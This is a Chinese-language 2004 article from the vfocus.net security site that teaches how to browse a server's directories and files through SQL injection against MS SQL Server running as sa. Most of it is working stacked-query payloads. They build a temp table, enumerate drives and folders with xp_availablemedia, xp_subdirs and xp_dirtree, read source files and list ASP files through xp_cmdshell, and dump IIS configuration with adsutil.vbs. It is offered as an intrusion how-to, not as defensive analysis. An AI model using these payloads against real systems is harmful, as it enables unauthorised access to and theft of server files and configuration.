首页 | 安全文章 | 安全工具 | Exploits | 本站原创 | 关于我们 | 网站地图 | 安全论坛
  当前位置:主页>安全文章>文章资料>入侵实例>文章内容
如何利用Sql 注入遍历目录
来源:vfocus.net 作者:vfocus 发布时间:2004-06-07  

如何利用Sql 注入遍历目录


关于如何取得注入入口不再说了,前面的帖子都说得很详细了,我们就如何浏览全部目录和文件进行研究
当System_user为"sa"时,具有全部权限,包括执行master.dbo.xp_cmdshell,如果这个存储过程没有改名或删除,我们可以利用它来遍历全部目录,执行如下:
先创建一个临时表:temp
'5;create table temp(id nvarchar(255),num1 nvarchar(255),num2 nvarchar(255),num3 nvarchar(255));--
接下来:
(1)我们可以利用xp_availablemedia来获得当前所有驱动器,并存入temp表中:
5';insert temp exec master.dbo.xp_availablemedia;--
我们可以通过查询temp的内容来获得驱动器列表及相关信息
(2)我们可以利用xp_subdirs获得子目录列表,并存入temp表中:
5';insert into temp(id) exec master.dbo.xp_subdirs 'c:\';--
(3)我们还可以利用xp_dirtree获得所有子目录的目录树结构,并寸入temp表中:
5';insert into temp(id,num1) exec master.dbo.xp_dirtree 'c:\';--

这样就可以成功的浏览到所有的目录(文件夹)列表:
如果我们需要查看某个文件的内容,可以通过执行xp_cmdsell:
5';insert into temp(id) exec master.dbo.xp_cmdshell 'type c:\web\index.asp';--
浏览temp就可以看到index.asp文件的内容了!

当然,如果xp_cmshell能够执行,我们可以用它来完成:
5';insert into temp(id) exec master.dbo.xp_cmdshell 'dir c:\';--
5';insert into temp(id) exec master.dbo.xp_cmdshell 'dir c:\ *.asp /s/a';--

通过xp_cmdshell我们可以看到所有想看到的,包括W3svc

5';insert into temp(id) exec master.dbo.xp_cmdshell 'cscript C:\Inetpub\AdminScripts\adsutil.vbs enum w3svc'

但是,如果不是Admin的权限,我们还可以使用
5';insert into temp(id,num1) exec master.dbo.xp_dirtree 'c:\';--




 
[推荐] [评论(0条)] [返回顶部] [打印本页] [关闭窗口]  
匿名评论
评论内容:(不能超过250字,需审核后才会公布,请自觉遵守互联网相关政策法规。
 §最新评论:
  热点文章
·另类网站入侵之一句话木马图片的
·0day批量拿站webshell,挖掘机是
·利用ewebeditor 5.5 - 6.0 鸡肋
·OmniPeek抓包的一点看法
·强大的嗅探工具ettercap使用教程
·Windows系统密码破解全攻略
·破解禁止SSID广播
·XSS偷取密码Cookies通用脚本
·XSS漏洞基本攻击代码
·Intel 3945ABG用OmniPeek 4.1抓
·KesionCMS V7.0科汛内容网站管理
·破解无线过滤MAC
  相关文章
·BBS3000用户注册新漏洞的分析
·ARP欺骗技术
·一次对孝感铁通网站的检测过程
·DVBBS7.0 --幕后的微笑
·对某PHP站点的一次渗透
·SQL脚本语言学习黑客篇
·动网和动力文章系统打印页面SQL
·黑客防线---主机外部的危险
·怪异的SQL注入
·巧用asp木马和KV2004得到管理员
·针对ACCESS漏洞又一发现
·文件上传漏洞在惠信中的应用
  推荐广告
CopyRight © 2002-2022 VFocuS.Net All Rights Reserved